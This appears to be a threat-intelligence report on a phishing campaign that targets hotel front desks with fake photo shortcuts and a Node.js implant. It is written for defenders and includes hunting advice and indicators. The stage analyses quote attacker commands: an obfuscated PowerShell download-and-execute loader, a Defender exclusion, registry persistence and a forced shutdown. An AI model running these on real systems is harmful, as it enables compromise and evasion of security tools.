# Photo ZIP Campaign: When Legitimate Emails Become a Malware Delivery Weapon

## Executive Summary

A legitimate-looking booking email, sent from genuine Calendly infrastructure, sails through SPF, DKIM, DMARC, and CompAuth with a clean pass — yet delivers front-desk staff to a photo ZIP file carrying malware. That's the essence of the Photo ZIP campaign Microsoft Threat Intelligence disclosed on June 25, 2026, which has been targeting hospitality organizations across Europe and Asia since April 2026.

Attackers send phishing emails disguised as guest complaint notices or room-verification requests, luring front-desk staff into downloading a file named *photo-<random number>.zip* that contains a shortcut masquerading as a PNG image. Once opened, the attack chain deploys obfuscated PowerShell, installs a Node.js-based implant called TonRAT, establishes dual persistence via the registry, and communicates with C2 over non-standard ports. Microsoft hasn't attributed this campaign to a specific threat actor, and the ultimate objective remains unclear, but the level of investment in obfuscation and persistence durability suggests this is groundwork for further activity on the victim's device.

The direct business risk: front-desk and reservation terminals are typically wired directly into the property management system (PMS), payment processing, and guest databases. A single compromised machine can open a path into that entire chain. Immediate priority action: audit the *HKCU\Run* and *HKCU\RunOnce* registry keys on front-desk and reservation machines for entries pointing to *node.exe* or randomly named *ProgramData* folders, and block domains matching the *photo-<number>[.]cfd* pattern.

## Background

Hospitality isn't a new target, but the frequency of attacks against the sector has risen noticeably in the first half of 2026. Earlier in the year, Hoxhunt documented campaigns impersonating Booking.com combined with ClickFix techniques to distribute DCRat, while Securonix described the PHALT#BLYX campaign using fake blue-screen prompts to trick victims into running a malicious MSBuild.exe at European hotels. RH-ISAC, citing VikingCloud data, reported that 82% of North American hotels experienced an attack the previous summer, with more than half targeted five or more times. What these campaigns have in common is that they exploit the exact rhythm of front-desk operations: high volumes of unfamiliar email, pressure to respond quickly, and the habit of opening attachments related to photos or booking documents.

Photo ZIP stands apart at the delivery layer. Rather than spoofing a domain or sending from dedicated infrastructure that's easily blacklisted, this campaign registers a genuine Calendly account and uses Calendly's own SendGrid-based sending infrastructure, letting the email sail through the entire authentication chain automatically. Microsoft calls this authentication laundering. The technique isn't unique to this campaign. Cisco Talos previously documented a similar form of abuse in April 2026, dubbed Platform-as-a-Proxy, targeting the notification systems of GitHub and Jira, peaking at roughly 2.89% of email traffic from GitHub infrastructure tied to this type of abuse. This indicates authentication laundering is becoming a distinct technique category in its own right, not an isolated phenomenon confined to one campaign.

The campaign evolved through two clearly distinct waves. Wave 1 (April through mid-May 2026) used a shortcut named *IMG-<number>.png.lnk* with a relatively simple PowerShell chain. Wave 2 (late May through June 2026) renamed the shortcut to *PHOTO-<number>.png.lnk*, added a dynamic .NET DLL compilation stage via *csc.exe*, and expanded infrastructure to *.cfd* domains hidden behind Cloudflare. Both waves share overlapping infrastructure, including the same primary C2 IP and the same payload hashes — sufficient evidence to assess this as one continuous campaign run by a single actor, rather than two separate groups.

## Campaign Details

| Attribute | Detail |
| --- | --- |
| Campaign name | Photo ZIP campaign (named by Microsoft) |
| Implant family | TonRAT (Node.js-based) |
| Threat actor | Not attributed by Microsoft |
| Active period | Since April 2026, active at time of publication |
| Attack type | Multi-stage intrusion, likely groundwork for follow-on activity |
| Target sector | Hospitality |
| Target region | Europe and Asia |
| Primary tools | PowerShell BigInt decoder, genuine Node.js runtime, csc.exe/cvtres.exe (Wave 2) |
| C2 infrastructure | Non-standard ports 8443/8445/8453/5555/56001-56003, .info/.cfd/.bond/.click domains |
| Delivery vector | Phishing via Calendly + Google share.google redirect, laundered through SendGrid |
| Detection source | Microsoft Threat Intelligence, cross-referenced with SOC Prime and ITOCHU Cyber & Intelligence |

## Event Timeline

| Timeframe | Event |
| --- | --- |
| April 2026 | Wave 1 begins, shortcut *IMG-<number>.png.lnk*, PowerShell obfuscation phases 1-6 |
| Mid-May 2026 | SOC Prime publishes independent analysis of suspicious emails targeting the hospitality sector |
| Late May 2026 | Wave 2 begins, shortcut renamed to *PHOTO-<number>.png.lnk*; threat actor begins abusing Calendly + Google redirects (authentication laundering) |
| Early June 2026 | ITOCHU Cyber & Intelligence publishes related findings |
| June 11-25, 2026 | Microsoft observes obfuscation phase 7 (for-loop variant), infrastructure expands to the .cfd TLD |
| June 25, 2026 | Microsoft Threat Intelligence publishes full report, including 20+ detection and hunting queries |
| June 30, 2026 | Microsoft last updates the original blog post |

## Detailed Attack Chain

### Stage 1: Delivery via Photo ZIP and Authentication Laundering

Victims receive an email displaying the sender name "Booking Manager (via Calendly)," with content drawn from a fixed, recurring set of themes in Japanese, Danish, and Dutch: guest complaints, bedbug reports, phone verification notices, room-status inquiries, and stay review requests. No recipient name, guest name, or property name appears in any of the emails — characteristic of mass distribution against a list rather than personalized spear-phishing. Japanese-language lures accounted for the largest share.

The key detail lies in the sending infrastructure. The threat actor registered a genuine Calendly account tied to the subdomain *em1618.calendly[.]com*, using Calendly's own notification system (running on SendGrid) to relay the phishing emails. Because the email is genuinely sent from authorized Calendly infrastructure, SPF passes. Because SendGrid applies a valid DKIM signature for the Calendly domain, DKIM passes. Because the From-header domain matches the DKIM-signed domain, DMARC passes on alignment. Microsoft's Composite Authentication (CompAuth) also passes, since every component check aligns.

```text
SPF   → Pass (sent from authorized Calendly infrastructure)
DKIM  → Pass (signed by Calendly's SendGrid infrastructure)
DMARC → Pass (alignment on the calendly.com domain)
CompAuth → Pass (every component check aligns)
```

The underlying technical mechanics matter more than the label. SPF, DKIM, and DMARC are designed to verify exactly one thing: whether the sending server is authorized to send on behalf of that domain. None of them have any mechanism to evaluate whether a message's content is malicious. When the sending domain is a legitimate service and the attacker controls the content pushed through that service, all three authentication layers correctly confirm the sender's identity while staying completely silent about intent. That's precisely the gap authentication laundering exploits — and it isn't a misconfiguration on Calendly's part or the victim organization's part, but an inherent design limitation of the current email authentication model.

![Overview diagram of the Photo ZIP campaign's attack chain, showing both the Wave 1 and Wave 2 stages](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2026/06/image-52.webp align="center")

*Figure 1. Overview of the attack chain across both waves of the Node.js Photo ZIP/LNK campaign.*

The link embedded in the email routes through a four-hop redirect chain designed to fragment URL reputation and evade automated analysis:

```text
Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN   → HTTP 302
Step 2: share[.]google/TOKEN                                 → HTTP 302
Step 3: www.google[.]com/share_google?q=TOKEN                → HTTP 301
Step 4: photo-*[.]cfd                                         → Landing page (Cloudflare Turnstile)
```

![Diagram of the four-hop phishing redirect flow from Calendly to the final .cfd domain](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2026/06/image-53.webp align="center")

*Figure 2. Phishing redirect flow via Calendly's Link Safety Service and Google's share.google.*

No single URL in this chain is overtly malicious at the point of delivery, since every hop up to the final one belongs to legitimate infrastructure (Calendly, Google). The final *.cfd* landing page is newly registered (one observed sample existed for just 17 days before analysis), sits behind Cloudflare, and presents a Turnstile "verify you are human" gate that serves a dual purpose: evading automated analysis while also filtering by geography before serving up the actual photo ZIP. The threat actor also maintains an abbreviated variant that skips the share.google hop entirely, redirecting straight from Calendly to the .cfd domain, running in parallel with the full-chain variant and sharing the same Calendly user UUID — indicating a single operator manages both delivery paths.

### Stage 2: PowerShell BigInt Decoder and Seven Obfuscation Phases

When the fake shortcut (*IMG-<number>.png.lnk* in Wave 1, *PHOTO-<number>.png.lnk* in Wave 2) is opened, it triggers PowerShell to run a BigInt decoder. The core logic remains constant across the entire campaign: decode embedded data through arithmetic operations, reconstruct the next-stage content, and download a *.ps1* file that runs from *%TEMP%*. What keeps changing is how that logic is disguised.

Microsoft documented seven evolutionary phases between April and June 2026:

1. XOR bigint decoding using `-bxor`

2. XOR replaced with subtraction, decoder structure otherwise unchanged

3. `0xFF` swapped for `255` (equivalent value, but breaks hex-string signatures)

4. Mask values obscured through arithmetic expressions like `(177+78)`

5. `-band`/`-shr` replaced with modulo and division

6. `"num" -as [bigint]` syntax adopted, with long randomized variable names

7. For-loop replacing the while-loop, combined with an arithmetic mask like `100+156` (Wave 2)

```powershell
# Phase 1: XOR bigint decoding
powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\";
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w;
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8};
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\eRJGv.ps1"
```

```powershell
# Phase 7 (Wave 2): for-loop with an arithmetic mask
powershell.exe -ep bypass -c "$mask=100+156;
$a = '...' -as [bigint]; $b = '...' -as [bigint]; $diff = $a - $b;
for($i=0; $diff -ne 0; $i++){
  $out += [char]([int]($diff % $mask));
  $diff = [bigint]($diff / $mask)};
iwr $out -OutFile $env:TEMP\payload.ps1 -UseBasicParsing;
powershell -ep bypass -File $env:TEMP\payload.ps1"
```

What's notable isn't any individual phase, but the discipline behind the evolution. The threat actor never changed tradecraft, never abandoned PowerShell or Node.js — they simply kept swapping the outer shell around a loader that already works. This is the behavior of an actor closely tracking detection pressure, not one experimenting at random. For defenders, this means literal detections based on specific operators, constants, or variable names will go stale quickly, while behavioral detection that follows the full chain (shortcut execution, PowerShell decoding, staging in %TEMP%, Node.js running from user space, Defender exclusions, ProgramData persistence) will hold up far better.

### Stage 3: Dynamic .NET DLL Compilation (Wave 2 Only)

Wave 2 inserts an intermediate step between the PowerShell download and Node.js deployment: the downloaded *.ps1* script triggers dynamic .NET compilation via *csc.exe* (the C# compiler), which in turn invokes *cvtres.exe* to produce a small (3,072-byte) DLL with a randomized name.

```text
csc.exe → cvtres.exe → <random>.dll (3,072 bytes)
```

Microsoft didn't observe this DLL being loaded via rundll32 or regsvr32 in the available telemetry, so it assesses this step as potentially preparatory or conditional, not necessarily always triggered. Regardless of its final purpose, *csc.exe* spawning *cvtres.exe* from a process chain initiated by PowerShell running out of %TEMP% is inherently anomalous in a hospitality environment, where on-the-fly .NET compilation has essentially no legitimate operational justification.

### Stage 4: Node.js Implant Deployment and Self-Established Persistence

After decoding and downloading, the PowerShell script runs from *%TEMP%*, acting as an intermediate staging point before downloading or launching the Node.js component. Microsoft observed *node.exe* being executed from a user-space path, using the same runtime version across both waves: *node-v24.13.0-win-x64* (SHA-256: `d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11`, 89.9 MB, downloaded from the genuine nodejs.org).

```text
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info
```

Placing the Node.js runtime in a user-writable directory lets the threat actor avoid any dependency on a pre-installed Node.js instance on the target system, while also supporting payload reuse across multiple filenames. The fact that identical hashes recur under different filenames confirms the same binary is being reused, reinforcing the assessment that the threat actor prioritizes operational repeatability over continuously producing new variants.

The implant then establishes its own persistence by spawning PowerShell to create a detached, hidden child process:

```powershell
powershell.exe -c "$code = \"require('child_process').spawn(process.execPath,
  ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\<random>.js'],
  {detached: true, stdio: 'ignore', windowsHide: true}).unref()\";
  $command = ..."
```

A third source, SOC Prime, describes the TonRAT implant using the TON blockchain API to dynamically resolve its C2 domain and open an encrypted WebSocket channel, rather than hardcoding a fixed domain. This approach makes static domain blocklisting significantly less effective, since the actual C2 domain can change over time without requiring any payload update.

### Stage 5: Defender Tampering and Dual Persistence

Once Node.js is running, the campaign modifies Defender configuration using *Add-MpPreference -ExclusionProcess*, targeting executables located in *AppData\Local\Temp* to reduce inspection of follow-on binaries:

```powershell
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\""
```

These randomly named, excluded EXEs are then launched, followed by *is-\*.tmp* installers or unpackers run with the */SL5* or */VERYSILENT* flags. The final payload is copied to *C:\ProgramData\\.exe*, with multiple lowercase copies sharing the same hash appearing under different filenames — consistent with repackaging for stability rather than actual recompilation.

The most technically notable aspect of the entire campaign is its dual persistence model:

```powershell
cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"
  /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f
```

*HKCU\RunOnce* points to an executable in ProgramData, while *HKCU\Run* points to the Node.js component. What's unusual about the *RunOnce* behavior is that it refreshes itself after every execution, forming a recurring RunOnce loop instead of firing once and vanishing, which is the intended design of that registry key. Microsoft documented one real-world case: Defender successfully blocked a PE payload, *xmnrwv9l.exe* (Wacatac), but the *HKCU\Run* key pointing to Node.js survived. About two days later, the Node.js implant re-activated on its own, reconnected to C2 at a new domain, and pulled down another round of */VERYSILENT* EXEs. Blocking one branch doesn't neutralize the other, since Node.js retains the ability to re-download and attempt fresh payload deployment on its own.

![Diagram of the dual persistence architecture via the Run/RunOnce registry keys and the C2 mechanism, showing survivability after Defender blocks a payload](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2026/06/image-55.webp align="center")

*Figure 3. Persistence and C2 architecture, showing the dual registry mechanism, survivability after blocking, and post-compromise activity.*

### Stage 6: Post-Compromise Activity

On some devices, Microsoft observed active C2 beaconing, browser automation using *–headless –no-sandbox* flags, and queries to *ip-api[.]com* to retrieve external network information — likely supporting geolocation assessment or connectivity checks on the compromised device before further activity proceeds. The final disruptive behavior observed is a forced shutdown via *cmd /c shutdown -s -t 0*, seen across multiple devices, which may serve to interrupt the user, reduce defender response time at a specific stage of the operation, or conceal evidence once the automated browser tasks have completed.

## Technical Analysis

### Why "Platform-as-a-Proxy" Is a Structural Problem, Not a Misconfiguration

Authentication laundering isn't unique to this campaign. Cisco Talos documented the same technique class under the name Platform-as-a-Proxy back in April 2026, exploiting the notification systems of GitHub and Jira, peaking at roughly 2.89% of email traffic from GitHub infrastructure tied to this abuse on one particularly high day in February 2026. Any SaaS platform that sends automated email on a user's behalf — scheduling tools, e-signature services, project management platforms, CRMs — can potentially serve as a relay for this class of attack, because the sending infrastructure remains legitimate while the content it carries is not. Defending against this requires shifting the defensive layer up to behavior: not who sent the email, but what action the email is asking the recipient to take.

### Why Dual Persistence Is Harder to Fully Remediate Than Single Persistence

Most IR playbooks treat blocking or removing a single payload as sufficient to end access. Photo ZIP breaks that assumption by splitting persistence into two independent paths that don't rely on each other: one path handles PE payload redeployment (RunOnce, self-refreshing), the other maintains the Node.js implant (Run, stable). Removing the PE path leaves the Node.js implant alive, and that implant is fully capable of re-downloading the PE path on its own. This means remediation must happen simultaneously across both registry keys, plus deletion of the Node.js runtime and every *.js* file under *AppData\Local\Nodejs* — otherwise victims will see the payload "resurrect" days after they believed the environment was clean.

## MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | Implementation in this campaign |
| --- | --- | --- | --- |
| Resource Development | T1583.001 | Acquire Infrastructure: Domains | Newly registered *.cfd* domains, rotated every 2-3 days |
| Resource Development | T1583.006 | Acquire Infrastructure: Web Services | Calendly account + share.google redirect token used to relay phishing |
| Resource Development | T1584.006 | Compromise Infrastructure: Web Services | Suspected use of compromised legitimate domains as alternate relay senders |
| Initial Access | T1566.002 | Phishing: Spearphishing Link | Calendly notification email containing a redirect link (from late May 2026 onward) |
| Initial Access | T1199 | Trusted Relationship | Authentication laundering through Calendly's SendGrid infrastructure |
| Execution | T1204.002 | User Execution: Malicious File | User opens a fake image shortcut (*IMG-/PHOTO-\*.png.lnk*) |
| Execution | T1059.001 | PowerShell | Obfuscated BigInt decoder downloads a *.ps1* file |
| Execution | T1059.007 | JavaScript | Node.js implant executes a *.js* payload alongside the C2 domain |
| Defense Evasion | T1027 | Obfuscated Files or Information | Seven evolving phases of PowerShell obfuscation |
| Defense Evasion | T1027.004 | Compile After Delivery | *csc.exe* compiles a .NET DLL on the fly (Wave 2) |
| Defense Evasion | T1036 | Masquerading | LNK file disguised as a *.png* image |
| Defense Evasion | T1562.001 | Disable or Modify Tools | *Add-MpPreference* exclusion for EXEs in Temp |
| Persistence | T1547.001 | Registry Run Keys / Startup Folder | Dual *Run* (Node.js) + *RunOnce* (ProgramData EXE) |
| Discovery | T1016 | System Network Configuration Discovery | Geolocation query via *ip-api[.]com* |
| Command and Control | T1571 | Non-Standard Port | C2 over ports 8443, 8445, 8453, 5555, 56001-56003 |

## Assessment

What makes Photo ZIP notable isn't the absolute sophistication of any individual technique, but how disciplined the assembly of mid-tier techniques is. There's no zero-day exploit, no kernel driver, no custom RAT built from scratch. The entire chain runs on PowerShell, a genuine Node.js runtime downloaded from nodejs.org, and two registry keys present in every Windows installation. What makes this campaign durable is its design: seven continuous obfuscation phases to dodge signatures, dual persistence to avoid dependence on any single point of failure, and a delivery layer that borrows the authenticated identity of a real SaaS service instead of standing up dedicated infrastructure that's easy to flag.

Authentication laundering deserves to be treated by SOCs as its own category in the threat model, not something tied solely to this campaign. Any organization that treats a passing SPF/DKIM/DMARC result as a sufficient safety signal to skip content inspection is operating on an assumption that's now been disproven by two independent campaigns (Cisco Talos with GitHub/Jira, Microsoft with Calendly). For a multi-tenant SOC environment where each client integrates dozens of SaaS platforms sending automated notifications, the practical question is no longer "is the sending domain legitimate," but "what action is the email content asking the recipient to take, and does that action match the business context."

For the hospitality sector in the region, direct relevance may not yet be as high as in Europe, but the attack pattern (multilingual lures, front-desk/reservation targeting, laundering through scheduling SaaS) is fully reusable against other service industries with similar characteristics: high volumes of unfamiliar email, pressure to respond quickly, and front-line staff with limited security training. This is something SOCs should build into regular hunting use cases rather than relying solely on static IOCs, which will go stale quickly given domains rotate every 2-3 days.

## Recommendations

* Block domains matching the *photo-<number>[.]cfd* pattern and the Wave 1/Wave 2 domains listed in the IOC section below.

* Run a hunting query for Run/RunOnce registry entries pointing to *AppData\Local\Nodejs* or *ProgramData\* across all front-desk, reservation, and front-office machines.

* Review email logs for the subdomain *em1618.calendly[.]com* and the display name "Booking Manager (via Calendly)."

* Deploy a detection rule correlating Defender exclusions with Temp-folder execution within a 30-minute window (provided in the Detection section).

* Add newly registered *.cfd* domain patterns, Node runtime execution from user space, and non-standard ports 56001-56003 to the SIEM watchlist for clients in the hospitality, travel, and service sectors.

* Update the remediation playbook: require removal of both persistence registry keys simultaneously, not just one, along with the Node.js runtime and any associated *.js* files.

* Add authentication laundering to the threat model as its own category, independent of whether the sending domain passes SPF/DKIM/DMARC.

* Build behavioral detection that follows the full behavioral chain (shortcut → PowerShell decode → %TEMP% staging → Node.js in user space → Defender exclusion → ProgramData persistence) rather than relying on literal IOCs, since literal indicators in this campaign go stale on a cycle of just a few days.

* Train front-line staff (front desk, reservations) to recognize the recurring lure pattern: generic complaints with no guest name, "final warning" pressure language, and requests to open image/document files from unverified sources.

## Indicators of Compromise

```text
# File Hash — SHA256
04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1   # PE payload xmnrwv9l.exe (Wacatac), same hash across both waves
c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5   # qFWe908J.ps1 (419 KB, Wave 2)
b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea   # bjygtujc.dll (3,072 bytes, compiled .NET, Wave 2)
d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11   # node.exe v24.13.0-win-x64 (89.9 MB, genuine nodejs.org)
9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2   # IMG-386443483.png.lnk (Wave 1)
97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f   # PHOTO-215746435.png.lnk (Wave 2)

# Domain (defanged) — C2 / phishing
sec-safe-dc[.]info          # active across both waves
photo-26254[.]cfd           # Wave 2 landing page
photo-26654[.]cfd           # Wave 2 landing page
photo-132454[.]cfd          # Wave 2 landing page
zloapobikahy23[.]bond       # Wave 2 C2
higoksbupwou[.]com          # Wave 2 C2

# IP Address (defanged)
178[.]16[.]54[.]27      # primary, active across both waves, ports 56001/56002
95[.]217[.]97[.]121     # persistent beacon, Wave 1
193[.]202[.]84[.]32     # secondary, Wave 1
178[.]16[.]55[.]179     # additional, Wave 1

# Network pattern
Non-standard ports: 8443, 8445, 8453, 5555, 56001, 56002, 56003

# Host artifact
C:\Users\<user>\AppData\Local\Nodejs\<random>.js
C:\ProgramData\<random>\<random>.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Run       → points to node.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce   → points to ProgramData EXE (self-refreshing)

# Behavioral IOC
.png.lnk shortcut launching PowerShell containing [bigint] syntax and -bxor/-band/-shr or % and /
csc.exe spawning cvtres.exe from a child process of PowerShell running out of %TEMP%
cmd /c shutdown -s -t 0 occurring immediately after --headless --no-sandbox browser automation activity
```

---

*References:*

* [Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access](https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/) — Microsoft Security Blog

* [Technical Analysis of Suspicious Emails Targeting the Hotel Industry](https://socprime.com/active-threats/technical-analysis-of-suspicious-emails-targeting-the-hotel-industry/) — SOC Prime

* [Microsoft Warns of Photo ZIP Phishing Campaign Targeting Hotels with Node.js Implant](https://thehackernews.com/2026/06/microsoft-warns-of-photo-zip-phishing.html) — The Hacker News

* [Hospitality Sector Hit by Phishing Campaign Using Fake Guest Complaint Emails](https://securityaffairs.com/194349/uncategorized/hospitality-sector-hit-by-phishing-campaign-using-fake-guest-complaint-emails.html) — Security Affairs

* [Hotel Phishing Clears All Email Security Filters: Microsoft Names New Attack Class](https://www.travelerstoday.com/articles/60309/20260626/hotel-phishing-clears-all-email-security-filters-microsoft-names-new-attack-class.htm) — Travelers Today

* [Hotel Cybersecurity: A Practical Threat Playbook for Hospitality (2026)](https://hoxhunt.com/blog/hotel-cybersecurity) — Hoxhunt